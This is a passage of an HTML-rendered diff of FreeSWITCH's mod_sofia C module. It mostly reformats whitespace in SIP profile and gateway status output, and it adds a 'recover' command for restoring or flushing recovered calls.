</span><span class="cx">                                         stream->write_function(stream, "HOLD-MUSIC \t%s\n", zstr(profile->hold_music) ? "N/A" : profile->hold_music);
</span><span class="cx">                                         stream->write_function(stream, "OUTBOUND-PROXY \t%s\n", zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
</span><span class="lines">@@ -2146,11 +2179,11 @@
</span><span class="cx">
</span><span class="cx">                                         stream->write_function(stream, "TEL-EVENT \t%d\n", profile->te);
</span><span class="cx">                                         if (profile->dtmf_type == DTMF_2833) {
</span><del>-                                        stream->write_function(stream, "DTMF-MODE \trfc2833\n");
</del><ins>+                                                stream->write_function(stream, "DTMF-MODE \trfc2833\n");
</ins><span class="cx">                                         } else if (profile->dtmf_type == DTMF_INFO) {
</span><del>-                                        stream->write_function(stream, "DTMF-MODE \tinfo\n");
</del><ins>+                                                stream->write_function(stream, "DTMF-MODE \tinfo\n");
</ins><span class="cx">                                         } else {
</span><del>-                                        stream->write_function(stream, "DTMF-MODE \tnone\n");
</del><ins>+                                                stream->write_function(stream, "DTMF-MODE \tnone\n");
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream->write_function(stream, "CNG \t%d\n", profile->cng_pt);
</span><span class="cx">                                         stream->write_function(stream, "SESSION-TO \t%d\n", profile->session_timeout);
</span><span class="lines">@@ -2158,14 +2191,15 @@
</span><span class="cx">                                         stream->write_function(stream, "NOMEDIA \t%s\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, "LATE-NEG \t%s\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, "PROXY-MEDIA \t%s\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
</span><del>-                                        stream->write_function(stream, "AGGRESSIVENAT \t%s\n", sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
</del><ins>+                                        stream->write_function(stream, "AGGRESSIVENAT \t%s\n",
+                                                                                 sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
</ins><span class="cx">                                         stream->write_function(stream, "STUN-ENABLED \t%s\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, "STUN-AUTO-DISABLE\t%s\n", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
</span><span class="cx">                                         if (profile->user_agent_filter) {
</span><del>-                                        stream->write_function(stream, "USER-AGENT-FILTER\t%s\n", switch_str_nil(profile->user_agent_filter));
</del><ins>+                                                stream->write_function(stream, "USER-AGENT-FILTER\t%s\n", switch_str_nil(profile->user_agent_filter));
</ins><span class="cx">                                         }
</span><span class="cx">                                         if (profile->max_registrations_perext > 0) {
</span><del>-                                        stream->write_function(stream, "MAX-REG-PEREXT \t%d\n", profile->max_registrations_perext);
</del><ins>+                                                stream->write_function(stream, "MAX-REG-PEREXT \t%d\n", profile->max_registrations_perext);
</ins><span class="cx">                                         }
</span><span class="cx">                                         stream->write_function(stream, "CALLS-IN \t%d\n", profile->ib_calls);
</span><span class="cx">                                         stream->write_function(stream, "FAILED-CALLS-IN \t%d\n", profile->ib_failed_calls);
</span><span class="lines">@@ -2176,20 +2210,18 @@
</span><span class="cx">
</span><span class="cx">                                 cb.profile = profile;
</span><span class="cx">                                 cb.stream = stream;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "pres") && argv[3]) {
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'",
-                                                        profile->name, argv[3]);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", profile->name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "reg") && argv[3]) {
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and contact like '%%%q%%'",
-                                                        profile->name, argv[3]);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", profile->name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "user") && argv[3]) {
</span><span class="cx">                                         char *dup = strdup(argv[3]);
</span><span class="lines">@@ -2205,7 +2237,7 @@
</span><span class="cx">                                                 host = dup;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        if (zstr(user) ) {
</del><ins>+                                        if (zstr(user)) {
</ins><span class="cx">                                                 sqlextra = switch_mprintf("(sip_host='%q')", host);
</span><span class="cx">                                         } else if (zstr(host)) {
</span><span class="cx">                                                 sqlextra = switch_mprintf("(sip_user='%q')", user);
</span><span class="lines">@@ -2214,10 +2246,9 @@
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and %s",
-                                                        profile->name, sqlextra);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and %s", profile->name, sqlextra);
</ins><span class="cx">                                         switch_safe_free(dup);
</span><span class="cx">                                         switch_safe_free(sqlextra);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2226,8 +2257,7 @@
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><span class="cx">                                                                                  "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
</span><span class="cx">                                                                                  "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
</span><del>-                                                                                 " from sip_registrations where profile_name='%q'",
-                                                                                 profile->name);
</del><ins>+                                                                                 " from sip_registrations where profile_name='%q'", profile->name);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, show_reg_callback, &cb);
</span><span class="lines">@@ -2301,9 +2331,9 @@
</span><span class="cx">         char xmlbuf[2096];
</span><span class="cx">         int c = 0;
</span><span class="cx">         int ac = 0;
</span><del>- const char *header = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>";
-        
- if (argc > 0) {
</del><ins>+        const char *header = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>";
+
+        if (argc > 0) {
</ins><span class="cx">                 if (argc == 1) {
</span><span class="cx">                         stream->write_function(stream, "Invalid Syntax!\n");
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2319,9 +2349,9 @@
</span><span class="cx">                                 stream->write_function(stream, " <realm>%s</realm>\n", switch_str_nil(gp->register_realm));
</span><span class="cx">                                 stream->write_function(stream, " <username>%s</username>\n", switch_str_nil(gp->register_username));
</span><span class="cx">                                 stream->write_function(stream, " <password>%s</password>\n", zstr(gp->register_password) ? "no" : "yes");
</span><del>-                                stream->write_function(stream, " <from>%s</from>\n", switch_amp_encode(switch_str_nil(gp->register_from),xmlbuf,buflen));
-                                stream->write_function(stream, " <contact>%s</contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact),xmlbuf,buflen));
-                                stream->write_function(stream, " <exten>%s</exten>\n", switch_amp_encode(switch_str_nil(gp->extension),xmlbuf,buflen));
</del><ins>+                                stream->write_function(stream, " <from>%s</from>\n", switch_amp_encode(switch_str_nil(gp->register_from), xmlbuf, buflen));
+                                stream->write_function(stream, " <contact>%s</contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact), xmlbuf, buflen));
+                                stream->write_function(stream, " <exten>%s</exten>\n", switch_amp_encode(switch_str_nil(gp->extension), xmlbuf, buflen));
</ins><span class="cx">                                 stream->write_function(stream, " <to>%s</to>\n", switch_str_nil(gp->register_to));
</span><span class="cx">                                 stream->write_function(stream, " <proxy>%s</proxy>\n", switch_str_nil(gp->register_proxy));
</span><span class="cx">                                 stream->write_function(stream, " <context>%s</context>\n", switch_str_nil(gp->register_context));
</span><span class="lines">@@ -2358,7 +2388,7 @@
</span><span class="cx">                                         stream->write_function(stream, " <pres-hosts>%s</pres-hosts>\n", switch_str_nil(profile->presence_hosts));
</span><span class="cx">                                         stream->write_function(stream, " <dialplan>%s</dialplan>\n", switch_str_nil(profile->dialplan));
</span><span class="cx">                                         stream->write_function(stream, " <context>%s</context>\n", switch_str_nil(profile->context));
</span><del>-                                        stream->write_function(stream, " <challenge-realm>%s</challenge-realm>\n",
</del><ins>+                                        stream->write_function(stream, " <challenge-realm>%s</challenge-realm>\n",
</ins><span class="cx">                                                                                  zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
</span><span class="cx">                                         stream->write_function(stream, " <rtp-ip>%s</rtp-ip>\n", switch_str_nil(profile->rtpip));
</span><span class="cx">                                         stream->write_function(stream, " <ext-rtp-ip>%s</ext-rtp-ip>\n", profile->extrtpip);
</span><span class="lines">@@ -2369,7 +2399,8 @@
</span><span class="cx">                                         stream->write_function(stream, " <tls-url>%s</tls-url>\n", switch_str_nil(profile->tls_url));
</span><span class="cx">                                         stream->write_function(stream, " <tls-bind-url>%s</tls-bind-url>\n", switch_str_nil(profile->tls_bindurl));
</span><span class="cx">                                         stream->write_function(stream, " <hold-music>%s</hold-music>\n", zstr(profile->hold_music) ? "N/A" : profile->hold_music);
</span><del>-                                        stream->write_function(stream, " <outbound-proxy>%s</outbound-proxy>\n", zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
</del><ins>+                                        stream->write_function(stream, " <outbound-proxy>%s</outbound-proxy>\n",
+                                                                                 zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
</ins><span class="cx">                                         stream->write_function(stream, " <inbound-codecs>%s</inbound-codecs>\n", switch_str_nil(profile->inbound_codec_string));
</span><span class="cx">                                         stream->write_function(stream, " <outbound-codecs>%s</outbound-codecs>\n", switch_str_nil(profile->outbound_codec_string));
</span><span class="cx">
</span><span class="lines">@@ -2383,13 +2414,15 @@
</span><span class="cx">                                         stream->write_function(stream, " <nomedia>%s</nomedia>\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, " <late-neg>%s</late-neg>\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, " <proxy-media>%s</proxy-media>\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
</span><del>-                                        stream->write_function(stream, " <aggressive-nat>%s</aggressive-nat>\n",
</del><ins>+                                        stream->write_function(stream, " <aggressive-nat>%s</aggressive-nat>\n",
</ins><span class="cx">                                                                                  sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
</span><del>-                                        stream->write_function(stream, " <stun-enabled>%s</stun-enabled>\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
-                                        stream->write_function(stream, " <stun-auto-disable>%s</stun-auto-disable>\n",
</del><ins>+                                        stream->write_function(stream, " <stun-enabled>%s</stun-enabled>\n",
+                                                                                 sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
+                                        stream->write_function(stream, " <stun-auto-disable>%s</stun-auto-disable>\n",
</ins><span class="cx">                                                                                  sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
</span><span class="cx">                                         stream->write_function(stream, " <user-agent-filter>%s</user-agent-filter>\n", switch_str_nil(profile->user_agent_filter));
</span><del>-                                        stream->write_function(stream, " <max-registrations-per-extension>%d</max-registrations-per-extension>\n", profile->max_registrations_perext);
</del><ins>+                                        stream->write_function(stream, " <max-registrations-per-extension>%d</max-registrations-per-extension>\n",
+                                                                                 profile->max_registrations_perext);
</ins><span class="cx">                                         stream->write_function(stream, " <calls-in>%d</calls-in>\n", profile->ib_calls);
</span><span class="cx">                                         stream->write_function(stream, " <calls-out>%d</calls-out>\n", profile->ob_calls);
</span><span class="cx">                                         stream->write_function(stream, " <failed-calls-in>%d</failed-calls-in>\n", profile->ib_failed_calls);
</span><span class="lines">@@ -2404,18 +2437,16 @@
</span><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "pres") && argv[3]) {
</span><span class="cx">
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'",
-                                                        profile->name, argv[3]);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", profile->name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "reg") && argv[3]) {
</span><span class="cx">
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and contact like '%%%q%%'",
-                                                        profile->name, argv[3]);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", profile->name, argv[3]);
</ins><span class="cx">                                 }
</span><span class="cx">                                 if (!sql && argv[2] && !strcasecmp(argv[2], "user") && argv[3]) {
</span><span class="cx">                                         char *dup = strdup(argv[3]);
</span><span class="lines">@@ -2440,10 +2471,9 @@
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><del>-                                                        "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
-                                                        "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
-                                                        " from sip_registrations where profile_name='%q' and %s",
-                                                        profile->name, sqlextra);
</del><ins>+                                                                                 "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+                                                                                 "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+                                                                                 " from sip_registrations where profile_name='%q' and %s", profile->name, sqlextra);
</ins><span class="cx">                                         switch_safe_free(dup);
</span><span class="cx">                                         switch_safe_free(sqlextra);
</span><span class="cx">                                 }
</span><span class="lines">@@ -2452,8 +2482,7 @@
</span><span class="cx">                                         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
</span><span class="cx">                                                                                  "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
</span><span class="cx">                                                                                  "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
</span><del>-                                                                                 " from sip_registrations where profile_name='%q'",
-                                                                                 profile->name);
</del><ins>+                                                                                 " from sip_registrations where profile_name='%q'", profile->name);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, show_reg_callback_xml, &cb);
</span><span class="lines">@@ -2473,8 +2502,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- stream->write_function(stream, "%s\n", header);
- stream->write_function(stream, "<profiles>\n");
</del><ins>+        stream->write_function(stream, "%s\n", header);
+        stream->write_function(stream, "<profiles>\n");
</ins><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &vvar, NULL, &val);
</span><span class="lines">@@ -2483,21 +2512,26 @@
</span><span class="cx">
</span><span class="cx">                         if (strcmp(vvar, profile->name)) {
</span><span class="cx">                                 ac++;
</span><del>-                                stream->write_function(stream, "<alias>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</alias>\n", vvar, "alias", profile->name, "ALIASED");
</del><ins>+                                stream->write_function(stream, "<alias>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</alias>\n", vvar, "alias",
+                                                                         profile->name, "ALIASED");
</ins><span class="cx">                         } else {
</span><del>-                                stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u)</state>\n</profile>\n", profile->name, "profile", profile->url,
-                                                                         sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
</del><ins>+                                stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u)</state>\n</profile>\n",
+                                                                         profile->name, "profile", profile->url, sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN",
+                                                                         profile->inuse);
</ins><span class="cx">
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_TLS)) {
</span><del>-                                        stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u) (TLS)</state>\n</profile>\n", profile->name, "profile", profile->tls_url,
-                                                                                 sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
</del><ins>+                                        stream->write_function(stream,
+                                                                                 "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u) (TLS)</state>\n</profile>\n",
+                                                                                 profile->name, "profile", profile->tls_url, sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN",
+                                                                                 profile->inuse);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 c++;
</span><span class="cx">
</span><span class="cx">                                 for (gp = profile->gateways; gp; gp = gp->next) {
</span><span class="cx">                                         switch_assert(gp->state < REG_STATE_LAST);
</span><del>-                                        stream->write_function(stream, "<gateway>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</gateway>\n", gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
</del><ins>+                                        stream->write_function(stream, "<gateway>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</gateway>\n",
+                                                                                 gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
</ins><span class="cx">                                         if (gp->state == REG_STATE_FAILED || gp->state == REG_STATE_TRYING) {
</span><span class="cx">                                                 time_t now = switch_epoch_time_now(NULL);
</span><span class="cx">                                                 if (gp->retry > now) {
</span><span class="lines">@@ -2547,7 +2581,7 @@
</span><span class="cx">                 sofia_glue_restart_all_profiles();
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(profile_name) || !(profile = sofia_glue_find_profile(profile_name))) {
</span><span class="cx">                 stream->write_function(stream, "Invalid Profile [%s]", switch_str_nil(profile_name));
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2560,7 +2594,7 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {                         
</del><ins>+                if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {
</ins><span class="cx">                         sofia_glue_del_gateway(gateway_ptr);
</span><span class="cx">                         sofia_reg_release_gateway(gateway_ptr);
</span><span class="cx">                         stream->write_function(stream, "+OK gateway marked for deletion.\n");
</span><span class="lines">@@ -2582,7 +2616,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 stream->write_function(stream, "+OK stun-auto-disable=%s", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2597,7 +2631,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 stream->write_function(stream, "+OK stun-enabled=%s", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2610,7 +2644,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         stream->write_function(stream, "Reload XML [%s]\n", err);
</span><span class="cx">                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 if (reconfig_sofia(profile) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream->write_function(stream, "+OK scan complete\n");
</span><span class="cx">                 } else {
</span><span class="lines">@@ -2724,7 +2758,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(argv[1], "siptrace")) {
</span><span class="cx">                 if (argc > 2) {
</span><span class="cx">                         int value = switch_true(argv[2]);
</span><span class="lines">@@ -2751,7 +2785,7 @@
</span><span class="cx">         struct cb_helper *cb = (struct cb_helper *) pArg;
</span><span class="cx">         char *contact;
</span><span class="cx">
</span><del>-        if (!zstr(argv[0]) && (contact = sofia_glue_get_url_from_contact(argv[0], 1)) ) {
</del><ins>+        if (!zstr(argv[0]) && (contact = sofia_glue_get_url_from_contact(argv[0], 1))) {
</ins><span class="cx">                 cb->stream->write_function(cb->stream, "%ssofia/%s/sip:%s,", argv[2], argv[1], sofia_glue_strip_proto(contact));
</span><span class="cx">                 free(contact);
</span><span class="cx">         }
</span><span class="lines">@@ -2770,7 +2804,7 @@
</span><span class="cx">         sofia_profile_t *profile = NULL;
</span><span class="cx">         const char *exclude_contact = NULL;
</span><span class="cx">         char *reply = "error/facility_not_subscribed";
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cmd) {
</span><span class="cx">                 stream->write_function(stream, "%s", "");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2795,13 +2829,12 @@
</span><span class="cx">
</span><span class="cx">         if ((domain = strchr(user, '@'))) {
</span><span class="cx">                 *domain++ = '\0';
</span><del>-                if ( (concat = strchr( domain, '/')) ) {
-                 *concat++ = '\0';
</del><ins>+                if ((concat = strchr(domain, '/'))) {
+                        *concat++ = '\0';
</ins><span class="cx">                 }
</span><del>-        }
-        else {
-                if ( (concat = strchr( user, '/')) ) {
-                 *concat++ = '\0';
</del><ins>+        } else {
+                if ((concat = strchr(user, '/'))) {
+                        *concat++ = '\0';
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2837,12 +2870,11 @@
</span><span class="cx">                         if (exclude_contact) {
</span><span class="cx">                                 sql = switch_mprintf("select contact, profile_name, '%q' "
</span><span class="cx">                                                                          "from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%') "
</span><del>-                                                                         "and contact not like '%%%s%%'",
-                                                                         ( concat != NULL ) ? concat : "", user, domain, domain, exclude_contact);
</del><ins>+                                                                         "and contact not like '%%%s%%'", (concat != NULL) ? concat : "", user, domain, domain, exclude_contact);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf("select contact, profile_name, '%q' "
</span><del>-                                                                         "from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')",
-                                                                         ( concat != NULL ) ? concat : "", user, domain, domain);
</del><ins>+                                                                         "from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')",
+                                                                         (concat != NULL) ? concat : "", user, domain, domain);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         switch_assert(sql);
</span><span class="lines">@@ -2859,7 +2891,7 @@
</span><span class="cx">
</span><span class="cx">                         stream->write_function(stream, "%s", reply);
</span><span class="cx">                         reply = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(mystream.data);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2886,7 +2918,7 @@
</span><span class="cx">         sofia_gateway_t *gateway;
</span><span class="cx">         char *gwname, *param, *varname;
</span><span class="cx">         const char *val = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 stream->write_function(stream, "-ERR Parameter missing\n");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2894,27 +2926,27 @@
</span><span class="cx">         if (!(mydata = strdup(cmd))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) || !argv[0]) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         gwname = argv[0];
</span><span class="cx">         param = argv[1];
</span><span class="cx">         varname = argv[2];
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(gwname) || zstr(param) || zstr(varname)) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(gateway = sofia_reg_find_gateway(gwname))) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(param, "ivar") && gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
</span><span class="cx">                 stream->write_function(stream, "%s", val);
</span><span class="cx">         } else if (!strcasecmp(param, "ovar") && gateway->ob_vars && (val = switch_event_get_header(gateway->ob_vars, varname))) {
</span><del>-                stream->write_function(stream, "%s", val);                
</del><ins>+                stream->write_function(stream, "%s", val);
</ins><span class="cx">         } else if (!strcasecmp(param, "var")) {
</span><span class="cx">                 if (gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
</span><span class="cx">                         stream->write_function(stream, "%s", val);
</span><span class="lines">@@ -2922,10 +2954,10 @@
</span><span class="cx">                         stream->write_function(stream, "%s", val);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         sofia_reg_release_gateway(gateway);
</span><del>-        
-end:
</del><ins>+
+ end:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -2977,7 +3009,7 @@
</span><span class="cx">                         mod_sofia_globals.tracelevel = switch_log_str2level(argv[1]);
</span><span class="cx">                 }
</span><span class="cx">                 stream->write_function(stream, "+OK tracelevel is %s", switch_log_level2str(mod_sofia_globals.tracelevel));
</span><del>- goto done;
</del><ins>+                goto done;
</ins><span class="cx">         } else if (!strcasecmp(argv[0], "loglevel")) {
</span><span class="cx">                 if (argc > 2 && argv[2] && switch_is_number(argv[2])) {
</span><span class="cx">                         int level = atoi(argv[2]);
</span><span class="lines">@@ -3000,6 +3032,20 @@
</span><span class="cx">         } else if (!strcasecmp(argv[0], "help")) {
</span><span class="cx">                 stream->write_function(stream, "%s", usage_string);
</span><span class="cx">                 goto done;
</span><ins>+        } else if (!strcasecmp(argv[0], "recover")) {
+                if (argv[1] && !strcasecmp(argv[1], "flush")) {
+                        sofia_glue_recover(SWITCH_TRUE);
+                        stream->write_function(stream, "Flushing recovery database.\n");
+                } else {
+                        int x = sofia_glue_recover(SWITCH_FALSE);
+                        if (x) {
+                                stream->write_function(stream, "Recovered %d call(s)\n", x);
+                        } else {
+                                stream->write_function(stream, "No calls to recover.\n");
+                        }
+                }
+
+                goto done;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (func) {
</span><span class="lines">@@ -3036,9 +3082,9 @@
</span><span class="cx">         /*.on_consume_media */ NULL,
</span><span class="cx">         /*.on_hibernate */ sofia_on_hibernate,
</span><span class="cx">         /*.on_reset */ sofia_on_reset,
</span><del>-        /*.on_park*/ NULL,
-        /*.on_reporting*/ NULL,
-        /*.on_destroy*/ sofia_on_destroy
</del><ins>+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ sofia_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_status_t sofia_manage(char *relative_oid, switch_management_action_t action, char *data, switch_size_t datalen)
</span><span class="lines">@@ -3052,7 +3098,7 @@
